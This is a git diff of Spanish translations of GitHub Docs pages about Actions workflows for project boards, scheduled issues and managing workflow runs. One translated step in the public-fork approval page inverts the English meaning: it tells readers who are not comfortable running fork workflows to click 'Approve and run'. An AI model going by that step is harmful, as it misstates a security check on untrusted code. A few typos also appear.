+3. Para ver la ejecución de flujo de trabajo que se activó al asignar la propuesta, visualiza el historial de tus ejecuciones de flujo de trabajo. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+4. Cuando se complete el flujo de trabajo, la propuesta que asignaste se debe agregar a la columna del tablero de proyecto que se especificó.
 
-## Next steps
+## Pasos siguientes
 
-- To learn more about additional things you can do with the `alex-page/github-project-automation-plus` action, like deleting or archiving project cards, visit the [`alex-page/github-project-automation-plus` action documentation](https://github.com/marketplace/actions/github-project-automation).
+- Para aprender más sobre las cosas adicionales que puedes hacer con la acción `alex-page/github-project-automation-plus`, como borrar o archivar tarjetas de proyecto, visita la [documentación de la acción `alex-page/github-project-automation-plus`](https://github.com/marketplace/actions/github-project-automation).
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
index d28c687f5a..ede3f2efb1 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md
@@ -1,6 +1,6 @@
 ---
-title: Removing a label when a card is added to a project board column
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically remove a label when an issue or pull request is added to a specific column on a project board.'
+title: Eliminar una etiqueta cuando se agrega una tarjeta a una columna de un tablero de proyecto
+intro: 'Puedes utilizar las {% data variables.product.prodname_actions %} para eliminar una etiqueta automáticamente cuando una propuesta o solicitud de cambios se agrega a una columna específica en un tablero de proyecto.'
 redirect_from:
   - /actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column
 versions:
@@ -12,24 +12,24 @@ type: tutorial
 topics:
   - Workflows
   - Project management
-shortTitle: Remove label when adding card
+shortTitle: Elimina la etiqueta al agregar la tarjeta
 ---
 
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) along with a conditional to remove a label from issues and pull requests that are added to a specific column on a project board. For example, you can remove the `needs review` label when project cards are moved into the `Done` column.
+Este tutorial ilustra cómo utilizar la [acción`andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler) en conjunto con un condicional para eliminar una etiqueta de las propuestas o solicitudes de cambios que se agregan a una columna específica en un tablero de proyecto. Por ejemplo, puedes eliminar la etiqueta `needs review` cuando las tarjetas de proyecto se muevan a la columna `Done`.
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+En el tutorial, primero harás un archivo de flujo de trabajo que utilice la [acción `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler). Después, personalizarás el flujo de trabajo de acuerdo con tus necesidades.
 
-## Creating the workflow
+## Crear un flujo de trabajo
 
 1. {% data reusables.actions.choose-repo %}
-2. Choose a project that belongs to the repository. This workflow cannot be used with projects that belong to users or organizations. You can use an existing project, or you can create a new project. For more information about creating a project, see "[Creating a project board](/github/managing-your-work-on-github/creating-a-project-board)."
+2. Elige un proyecto que le pertenezca al repositorio. Este flujo de trabajo no puede utilizarse con los proyectos que pertenezcan a usuarios u organizaciones. Puedes utilizar un proyecto existente o crear uno nuevo. Para obtener más información sobre cómo crear un proyecto, consulta la sección "[Crear un tablero de proyecto](/github/managing-your-work-on-github/creating-a-project-board)".
 3. {% data reusables.actions.make-workflow-file %}
-4. Copy the following YAML contents into your workflow file.
+4. Copia el siguiente contenido de YAML en tu archivo de flujo de trabajo.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -54,28 +54,28 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-5. Customize the parameters in your workflow file:
-   - In `github.event.project_card.column_id == '12345678'`, replace `12345678` with the ID of the column where you want to un-label issues and pull requests that are moved there.
+5. Personaliza los parámetros en tu archivo de flujo de trabajo:
+   - En `github.event.project_card.column_id == '12345678'`, reemplaza a `12345678` con la ID de la columna en donde quieras desetiquetar las propuestas y solicitudes de cambio que se movieron a ella.
 
-    To find the column ID, navigate to your project board. Next to the title of the column, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} then click **Copy column link**. The column ID is the number at the end of the copied link. For example, `24687531` is the column ID for `https://github.com/octocat/octo-repo/projects/1#column-24687531`.
+    Para encontrar la ID de columna, navega a tu tablero de proyecto. Junto al título de la columna, haz clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y luego en **Copiar enlace de la columna**. La ID de columna es el número al final del enlace que copiaste. Por ejemplo, la ID de columna para `https://github.com/octocat/octo-repo/projects/1#column-24687531` es `24687531`.
 
-     If you want to act on more than one column, separate the conditions with `||`. For example, `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` will act whenever a project card is added to column `12345678` or column `87654321`. The columns may be on different project boards.
-   - Change the value for `remove-labels` to the list of labels that you want to remove from issues or pull requests that are moved to the specified column(s). Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information on labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+     Si quieres actuar sobre más de una columna, separa las condiciones con `||`. Por ejemplo, `if github.event.project_card.column_id == '12345678' || github.event.project_card.column_id == '87654321'` actuará cuando una tarjeta de proyecto se agregue a la columna `12345678` o a la columna `87654321`. Las columnas podrían estan en tableros de proyecto diferentes.
+   - Cambia el valor de `remove-labels` a la lista de etiquetas que quieras eliminar de las propuestas o solicitudes de cambio que se mueven a la(s) columna(s) que especificaste. Separa las etiquetas con comas. Por ejemplo, `"help wanted, good first issue"`. Para obtener más información sobre las etiquetas, consulta la sección "[Administrar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
 6. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## Probar el flujo de trabajo
 
-Every time a project card on a project in your repository moves, this workflow will run. If the card is an issue or a pull request and is moved into the column that you specified, then the workflow will remove the specified labels from the issue or a pull request. Cards that are notes will not be affected.
+Este flujo de trabajo se ejecutará cada que se mueve una tarjeta de proyecto en un proyecto de tu repositorio. Si la tarjeta es una propuesta o una solicitud de cambios y se mueve a la columna que especificaste, entonces el flujo de trabajo eliminará las etiquetas específicas de dichas propuestas o solicitudes de cambios. Las tarjetas que sean notas no se verán afectadas.
 
-Test your workflow out by moving an issue on your project into the target column.
+Prueba tu flujo de trabajo moviendo una propuesta de tu proyecto a la columna destino.
 
-1. Open an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. Label the issue with the labels that you want the workflow to remove. For more information, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
-3. Add the issue to the project column that you specified in your workflow file. For more information, see "[Adding issues and pull requests to a project board](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)."
-4. To see the workflow run that was triggered by adding the issue to the project, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-5. When the workflow completes, the issue that you added to the project column should have the specified labels removed.
+1. Abre una propuesta en tu repositorio. Para obtener más información, consulta la sección "[Crear una propuesta](/github/managing-your-work-on-github/creating-an-issue)".
+2. Etiqueta la propuesta con las etiquetas que quieres que elimine el flujo de trabajo. Para obtener más información, consulta la sección "[Administrar etiquetas](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)".
+3. Agrega la propuesta a la columna de proyecto que especificaste en tu archivo de flujo de trabajo. Para obtener más información, consulta "[Agregar propuestas y solicitudes de extracción a un tablero de proyecto](/github/managing-your-work-on-github/adding-issues-and-pull-requests-to-a-project-board)".
+4. Para ver la ejecución de flujo de trabajo que se activó al agregar la propuesta al proyecto, ve el historial de tus ejecuciones de flujo de trabajo. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".
+5. Cuando se complete el flujo de trabajo, se deberán haber eliminado las etiquetas especificadas en la propuesta que agregaste a la columna del proyecto.
 
-## Next steps
+## Pasos siguientes
 
-- To learn more about additional things you can do with the `andymckay/labeler` action, like adding labels or skipping this action if the issue is assigned or has a specific label, visit the [`andymckay/labeler` action documentation](https://github.com/marketplace/actions/simple-issue-labeler).
-- [Search GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) for examples of workflows using this action.
+- Para aprender más sobre las cosas adicionales que puedes hacer con la acción `andymckay/labeler`, como agregar etiquetas o saltarte esta acción si la propuesta se asigna o si tiene una etiqueta específica, visita la [documentación de la acción `andymckay/labeler`](https://github.com/marketplace/actions/simple-issue-labeler).
+- [Busca en GitHub](https://github.com/search?q=%22uses:+andymckay/labeler%22&type=code) los ejemplos de los flujos de trabajo que utilizan esta acción.
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
index eb41b3c838..fb67ad32fd 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md
@@ -1,6 +1,6 @@
 ---
-title: Scheduling issue creation
-intro: 'You can use {% data variables.product.prodname_actions %} to create an issue on a regular basis for things like daily meetings or quarterly reviews.'
+title: Programar la creación de propuestas
+intro: 'Puedes utilizar {% data variables.product.prodname_actions %} para crear una propuesta frecuentemente para asuntos como juntas diarias o revisiones trimestrales.'
 redirect_from:
   - /actions/guides/scheduling-issue-creation
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introducción
 
-This tutorial demonstrates how to use the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action) to create an issue on a regular basis. For example, you can create an issue each week to use as the agenda for a team meeting.
+Este tutorial ilustra cómo utilizar la [acción `imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action) para crear una propuesta con frecuencia. Por ejemplo, puedes crear una propuesta semanalmente o utilizarla como el itinerario de una junta de equipo.
 
-In the tutorial, you will first make a workflow file that uses the [`imjohnbo/issue-bot` action](https://github.com/marketplace/actions/issue-bot-action). Then, you will customize the workflow to suit your needs.
+En el tutorial, primero crearás un archivo de flujo de trabajo que utilice la [acción `imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action). Después, personalizarás el flujo de trabajo de acuerdo con tus necesidades.
 
-## Creating the workflow
+## Crear un flujo de trabajo
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. Copia el siguiente contenido de YAML en tu archivo de flujo de trabajo.
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -57,7 +57,7 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
                 - [ ] Check-ins
                 - [ ] Discussion points
                 - [ ] Post the recording
-                        
+
                 ### Discussion Points
                 Add things to discuss below
 
@@ -68,25 +68,25 @@ In the tutorial, you will first make a workflow file that uses the [`imjohnbo/is
               GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `on.schedule` to dictate when you want this workflow to run. In the example above, the workflow will run every Monday at 7:20 UTC. For more information about scheduled workflows, see "[Scheduled events](/actions/reference/events-that-trigger-workflows#scheduled-events)."
-   - Change the value for `assignees` to the list of {% data variables.product.prodname_dotcom %} usernames that you want to assign to the issue.
-   - Change the value for `labels` to the list of labels that you want to apply to the issue.
-   - Change the value for `title` to the title that you want the issue to have.
-   - Change the value for `body` to the text that you want in the issue body. The `|` character allows you to use a multi-line value for this parameter.
-   - If you want to pin this issue in your repository, set `pinned` to `true`. For more information about pinned issues, see "[Pinning an issue to your repository](/articles/pinning-an-issue-to-your-repository)."
-   - If you want to close the previous issue generated by this workflow each time a new issue is created, set `close-previous` to `true`. The workflow will close the most recent issue that has the labels defined in the `labels` field. To avoid closing the wrong issue, use a unique label or combination of labels.
+4. Personaliza los parámetros en tu archivo de flujo de trabajo:
+   - Cambia el valor de `on.schedule` para que dicte cuándo quieres que se ejecute este flujo de trabajo. En el ejemplo anterior, el flujo de trabajo se ejecutará cada lunes a las 7:20 UTC. Para obtener más información sobre los flujos de trabajo que has programado, consulta la sección "[Ejemplos programados](/actions/reference/events-that-trigger-workflows#scheduled-events)".
+   - Cambia el valor de `assignees` a la lista de nombres de usuarios de {% data variables.product.prodname_dotcom %} que quieras asignar a la propuesta.
+   - Cambia el valor de `labels` a la lista de etiquetas que quieras aplicar a la propuesta.
+   - Cambia el valor de `title` al título que quieres que tenga la propuesta.
+   - Cambia el valor de `body` al texto que quieras en el cuerpo de la propuesta. El caracter `|` te permite utilizar un valor de línea múltiple para este parámetro.
+   - Si quieres fijar esta propuesta en tu repositorio, configura `pinned` en `true`. Para obtener más información acerca de las propuestas fijas, consulta "[Fijar una propuesta a tu repositorio](/articles/pinning-an-issue-to-your-repository)".
+   - Si quieres cerrar la propuesta previa que generó este flujo de trabajo cada vez que se crea una propuesta nueva, configura `close-previous` en `true`. El flujo de trabajo cerrará la propuesta más reciente que tenga las etiquetas que se definen en el campo `labels`. Para evitar que se cierre la propuesta equivocada, utiliza una etiqueta única o una combinación de etiquetas.
 5. {% data reusables.actions.commit-workflow %}
 
-## Expected results
+## Resultados esperados
 
-Based on the `schedule` parameter (for example, every Monday at 7:20 UTC), your workflow will create a new issue with the assignees, labels, title, and body that you specified. If you set `pinned` to `true`, the workflow will pin the issue to your repository. If you set `close-previous` to true, the workflow will close the most recent issue with matching labels.
+Con base en el parámetro `schedule` (por ejemplo, cada lunes a las 7:20 UTC), tu flujo de trabajo creará una propuesta con los asignados, etiquetas, título y cuerpo que especifiques. Si configuras `pinned` como `true`, el flujo de trabajo fijará la propuesta a tu repositorio. Si configuras `close-previous` como "true", el flujo de trabajo cerrará la propuesta más reciente con las etiquetas coincidentes.
 
 {% data reusables.actions.schedule-delay %}
 
-You can view the history of your workflow runs to see this workflow run periodically. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
+Puedes ver el historial de tus ejecuciones de flujo de trabajo para ver que este flujo de trabajo se ejecute regularmente. Para obtener más información, consulta la sección "[Visualizar el historial de ejecuciones de un flujo de trabajo](/actions/managing-workflow-runs/viewing-workflow-run-history)".
 
-## Next steps
+## Pasos siguientes
 
-- To learn more about additional things you can do with the `imjohnbo/issue-bot` action, like rotating assignees or using an issue template, see the [`imjohnbo/issue-bot` action documentation](https://github.com/marketplace/actions/issue-bot-action).
-- [Search GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) for examples of workflows using this action.
+- Para aprender más sobre las cosas adicionales que puedes hacer con la acción `imjohnbo/issue-bot`, como rotar asignados o utilizar una plantilla de propuesta, consulta la [documentación de la acción `imjohnbo/issue-bot`](https://github.com/marketplace/actions/issue-bot-action).
+- [Busca en GitHub](https://github.com/search?q=%22uses%3A+imjohnbo%2Fissue-bot%22&type=code) los ejemplos de los flujos de trabajo que utilizan esta acción.
diff --git a/translations/es-ES/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md b/translations/es-ES/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
index 6214081a66..ad9cdfbcad 100644
--- a/translations/es-ES/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
+++ b/translations/es-ES/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md
@@ -1,6 +1,6 @@
 ---
-title: Using GitHub Actions for project management
-intro: 'You can use {% data variables.product.prodname_actions %} to automate many of your project management tasks.'
+title: Utilizar GitHub Actions para la administración de proyectos
+intro: 'Puedes utilizar las {% data variables.product.prodname_actions %} para automatizar muchas de tus tareas de administración de proyectos.'
 redirect_from:
   - /actions/guides/using-github-actions-for-project-management
 versions:
@@ -11,34 +11,34 @@ versions:
 type: overview
 topics:
   - Project management
-shortTitle: Actions for project management
+shortTitle: Acciones apra la administración de proyectos
 ---
 
 
-You can use {% data variables.product.prodname_actions %} to automate your project management tasks by creating workflows. Each workflow contains a series of tasks that are performed automatically every time the workflow runs. For example, you can create a workflow that runs every time an issue is created to add a label, leave a comment, and move the issue onto a project board.
+Puedes utilizar las {% data variables.product.prodname_actions %} para automatizar tus tareas de administración de proyectos si creas flujos de trabajo. Cada flujo de trabajo contiene una serie de tareas que se llevan a cabo automáticamente cada que se ejecuta el flujo de trabajo. Por ejemplo, puedes crear un flujo de trabajo que se ejecute cada vez que se crea una propuesta para que se agregue una etiqueta, se deje un comentario y se mueva la propuesta a otro tablero de proyecto.
 
-## When do workflows run?
+## ¿Cuándo se ejecutan los flujos de trabajo?
 
-You can configure your workflows to run on a schedule or be triggered when an event occurs. For example, you can set your workflow to run when someone creates an issue in a repository.
+Puedes configurar tus flujos de trabajo para que se ejecuten en cierto itinerario o para que se activen cuando ocurra un evento. Por ejemplo, puedes configurar tu flujo de trabajo para que se ejecute cuando alguien cree una propuesta en un repositorio.
 
-Many workflow triggers are useful for automating project management.
+Muchos de los activadores de flujos de trabajo sirven para automatizar la administración de proyectos.
 
-- An issue is opened, assigned, or labeled.
-- A comment is added to an issue.
-- A project card is created or moved.
-- A scheduled time.
+- Para cuando se abre, asigna o etiqueta un proyecto.
+- Para cuando se agrega un comentario a una propuesta.
+- Para cuando se crea o mueve una tarjeta de proyecto.
+- Para una programación de itinerarios.
 
-For a full list of events that can trigger workflows, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows)."
+Si quieres encontrar una lista completa de eventos que pueden activar los flujos de trabajo, consulta la sección "[Eventos que activan flujos de trabajo](/actions/reference/events-that-trigger-workflows)".
 
-## What can workflows do?
+## ¿Qué pueden hacer los flujos de trabajo?
 
-Workflows can do many things, such as commenting on an issue, adding or removing labels, moving cards on project boards, and opening issues.
+Los flujos de trabajo pueden hacer muchas cosas, tales como comentar en una propuesta, agregar o quitar etiquetas, mover tarjetas en los tableros de proyecto y abrir propuestas.
 
-You can learn about using {% data variables.product.prodname_actions %} for project management by following these tutorials, which include example workflows that you can adapt to meet your needs.
+Puedes aprender sobre cómo utilizar las {% data variables.product.prodname_actions %} para la administración de proyectos si sigues estos tutoriales, los cuales incluyen ejemplos de flujo de trabajo que puedes adaptar para satisfacer tus necesidades.
 
-- "[Adding labels to issues](/actions/guides/adding-labels-to-issues)"
-- "[Removing a label when a card is added to a project board column](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)"
-- "[Moving assigned issues on project boards](/actions/guides/moving-assigned-issues-on-project-boards)"
-- "[Commenting on an issue when a label is added](/actions/guides/commenting-on-an-issue-when-a-label-is-added)"
-- "[Closing inactive issues](/actions/guides/closing-inactive-issues)"
-- "[Scheduling issue creation](/actions/guides/scheduling-issue-creation)"
+- "[Agregar etiquetas a las propuestas](/actions/guides/adding-labels-to-issues)"
+- "[Eliminar una etiqueta cuando se agrega una tarjeta a una columna de un tablero de proyecto](/actions/guides/removing-a-label-when-a-card-is-added-to-a-project-board-column)"
+- "[Mover las propuestas asignadas en los tableros de proyecto](/actions/guides/moving-assigned-issues-on-project-boards)"
+- "[Comentar en una propuesta cuando se agrega una etiqueta](/actions/guides/commenting-on-an-issue-when-a-label-is-added)"
+- "[Cerrar las propuestas inactivas](/actions/guides/closing-inactive-issues)"
+- "[Programar la creación de propuestas](/actions/guides/scheduling-issue-creation)"
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md b/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
index 9ff47262a1..6836046776 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/approving-workflow-runs-from-public-forks.md
@@ -1,28 +1,28 @@
 ---
-title: Approving workflow runs from public forks
-intro: 'When an outside contributor submits a pull request to a public repository, a maintainer with write access may need to approve any workflow runs.'
+title: Aprobar ejecuciones de flujo de trabajo desde bifurcaciones públicas
+intro: 'Cuando un contribuyente externo emite una solicitud de cambios a un repositorio público, podría ser que un mantenedor con acceso de escritura tenga que aprobar cualquier ejecución de flujo de trabajo.'
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Approve public fork runs
+shortTitle: Aprobar las ejecuciones de una bifurcación pública
 ---
 
-## About workflow runs from public forks
+## Acerca de las ejecuciones de flujo de trabajo de las bifurcaciones públicas
 
 {% data reusables.actions.workflow-run-approve-public-fork %}
 
-You can configure workflow approval requirements for a [repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks), [organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#configuring-required-approval-for-workflows-from-public-forks), or [enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise).
+Puedes configurar los requisitos de aprobación de flujo de trabajo para un [repositorio](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks), [organización](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#configuring-required-approval-for-workflows-from-public-forks) o [ empresa](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-fork-pull-requests-in-your-enterprise).
 
-Workflow runs that have been awaiting approval for more than 30 days are automatically deleted.
+Las ejecuciones de flujos de trabajo que hayan estado esperando una aprobación por más de 30 días se borrarán automáticamente.
 
-## Approving workflow runs on a pull request from a public fork
+## Aprobar las ejecuciones de flujo de trabajo en una solicitud de cambios de una bifurcación pública
 
-Maintainers with write access to a repository can use the following procedure to review and run workflows on pull requests from contributors that require approval.
+Los mantenedores con acceso de escritura en un repositorio pueden utilizar el siguiente procedimiento para revisar y ejecutar flujos de trabajo en las solicitudes de extracción de los contribuyentes que requieran aprobación.
 
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.choose-pr-review %}
 {% data reusables.repositories.changed-files %}
-1. Inspect the proposed changes in the pull request and ensure that you are comfortable running your workflows on the pull request branch. You should be especially alert to any proposed changes in the `.github/workflows/` directory that affect workflow files.
-1. If you are comfortable with running workflows on the pull request branch, return to the {% octicon "comment-discussion" aria-label="The discussion icon" %} **Conversation** tab, and under "Workflow(s) awaiting approval", click **Approve and run**.
+1. Inspecciona los cambios propuestos en la solicitud de cambios y asegúrate de que estés de acuerdo para ejecutar tus flujos de trabajo en la rama de la solicitud de cambios. Debes estar especialmente alerta para notar cualquier cambio propuesto en el directorio `.github/workflows/` que afecte a los archivos de flujo de trabajo.
+1. Si no estás de acuerdo en ejecutar los flujos de trabajo en la rama de la solicitud de cambios, regresa a la {% octicon "comment-discussion" aria-label="The discussion icon" %} pestaña de **Conversación** y, debajo de "Flujo(s) de trabajo esperando aprobación", haz clic en **Aprobar y ejecutar**.
 
-   ![Approve and run workflows](/assets/images/help/pull_requests/actions-approve-and-run-workflows-from-fork.png)
+   ![Aprueba y ejecuta flujos de trabajo](/assets/images/help/pull_requests/actions-approve-and-run-workflows-from-fork.png)
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/canceling-a-workflow.md b/translations/es-ES/content/actions/managing-workflow-runs/canceling-a-workflow.md
index f976787c52..a1bb92be9e 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/canceling-a-workflow.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/canceling-a-workflow.md
@@ -1,6 +1,6 @@
 ---
-title: Canceling a workflow
-intro: 'You can cancel a workflow run that is in progress. When you cancel a workflow run, {% data variables.product.prodname_dotcom %} cancels all jobs and steps that are a part of that workflow.'
+title: Cancelar un flujo de trabajo
+intro: 'Puedes cancelar una ejecución de flujo de trabajo que esté en curso. Cuando cancelas una ejecución de flujo de trabajo, {% data variables.product.prodname_dotcom %} cancela todsos los jobs y pasos que son parte de ésta.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,26 +13,25 @@ versions:
 
 {% data reusables.repositories.permissions-statement-write %}
 
-## Canceling a workflow run
+## Cancelar una ejecución de flujo de trabajo
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
 {% data reusables.repositories.navigate-to-workflow %}
-1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.
-![Name of workflow run](/assets/images/help/repository/in-progress-run.png)
-1. In the upper-right corner of the workflow, click **Cancel workflow**.
+1. Desde la lista de ejecuciones de flujo de trabajo, da clic en el nombre de la ejecución en estado de `queued` o `in progress` que quieras cancelar. ![Nombre de la ejecución de flujo de trabajo](/assets/images/help/repository/in-progress-run.png)
+1. En la esquina superior derecha del flujo de trabajo, da clic en **Cancelar flujo de trabajo**.
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite-updated.png)
+ ![Botón de cancelar el conjunto de verificaciones](/assets/images/help/repository/cancel-check-suite-updated.png)
 {% else %}
- ![Cancel check suite button](/assets/images/help/repository/cancel-check-suite.png)
+ ![Botón de cancelar el conjunto de verificaciones](/assets/images/help/repository/cancel-check-suite.png)
 {% endif %}
 
-## Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run
+## Pasos que toma {% data variables.product.prodname_dotcom %} para cancelar una ejecución de flujo de trabajo
 
-When canceling workflow run, you may be running other software that uses resources that are related to the workflow run. To help you free up resources related to the workflow run, it may help to understand the steps {% data variables.product.prodname_dotcom %} performs to cancel a workflow run.
+Cuando cancelas una ejecución de flujo de trabajo, tal vez estés ejecutando otro software que utiliza recursos que se relacionan con ésta. Para ayudarte a liberar los recursos relacionados con dicha ejecución de flujo de trabajo, podría ser útil entender los pasos que realiza {% data variables.product.prodname_dotcom %} para cancelar una ejecución de flujo de trabajo.
 
-1. To cancel the workflow run, the server re-evaluates `if` conditions for all currently running jobs. If the condition evaluates to `true`, the job will not get canceled. For example, the condition `if: always()` would evaluate to true and the job continues to run. When there is no condition, that is the equivalent of the condition `if: success()`, which only runs if the previous step finished successfully.
-2. For jobs that need to be canceled, the server sends a cancellation message to all the runner machines with jobs that need to be canceled.
-3. For jobs that continue to run, the server re-evaluates `if` conditions for the unfinished steps. If the condition evaluates to `true`, the step continues to run.
-4. For steps that need to be canceled, the runner machine sends `SIGINT/Ctrl-C` to the step's entry process (`node` for javascript action, `docker` for container action, and `bash/cmd/pwd` when using `run` in a step). If the process doesn't exit within 7500 ms, the runner will send `SIGTERM/Ctrl-Break` to the process, then wait for 2500 ms for the process to exit. If the process is still running, the runner kills the process tree.
-5. After the 5 minutes cancellation timeout period, the server will force terminate all jobs and steps that don't finish running or fail to complete the cancellation process.
+1. Para cancelar una ejecución de flujo de trabajo, el servidor vuelve a evaluar las condiciones `if` para todos los jobs que se ejecutan actualmente. Si la condición se evalúa como `true`, el job no se cancelará. Por ejemplo, la condición `if: always()` se evaluaría como "true" y el job continuaría ejecutándose. Cuando no hay condición, esto es equivalente a una condición `if: success()`, la cual solo se ejecutará si el paso anterior finalizó con éxito.
+2. Para los jobs que necesitan cancelarse, el servidor envía un mensaje de cancelación a todas las máquinas ejecutoras con jobs que necesitan cancelarse.
+3. Para los jobs que siguen ejecutándose, el servidor vuelve a evaluar las condiciones `if` para los pasos sin finalizar. Si la condición se evalúa como `true`, el paso seguirá ejecutándose.
+4. Para los pasos que necesitan cancelarse, la máquina ejecutora manda un `SIGINT/Ctrl-C` al proceso de entrada del paso (`node` para una acción de javascript, `docker` para una acción de contenedor, y `bash/cmd/pwd` cuando se utiliza `run` en un paso). Si el proceso no sale en 7500 ms, el ejecutor mandará un `SIGTERM/Ctrl-Break` al proceso y luego esperará por 2500 ms para que el proceso salga. Si el proceso aún está ejecutándose, el ejecutor finalizará abruptamente el árbol de proceso.
+5. Después de los 5 minutos del periodo de expiración de plazo de cancelación, el servidor forzará la terminación de todos los jobs y pasos que no hayan finalizado la ejecución o que hayan fallado en completar el proceso de cancelación.
diff --git a/translations/es-ES/content/actions/managing-workflow-runs/deleting-a-workflow-run.md b/translations/es-ES/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
index 5bdd78e23f..1378e01078 100644
--- a/translations/es-ES/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
+++ b/translations/es-ES/content/actions/managing-workflow-runs/deleting-a-workflow-run.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a workflow run
-intro: 'You can delete a workflow run that has been completed, or is more than two weeks old.'
+title: Borrar una ejecución de flujo de trabajo
+intro: Puedes borrar una ejecución de flujo de trabajo que se haya completado o que tenga más de dos semanas de antigüedad.
 versions:
   fpt: '*'
   ghes: '*'
@@ -16,9 +16,9 @@ versions:
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.actions-tab %}
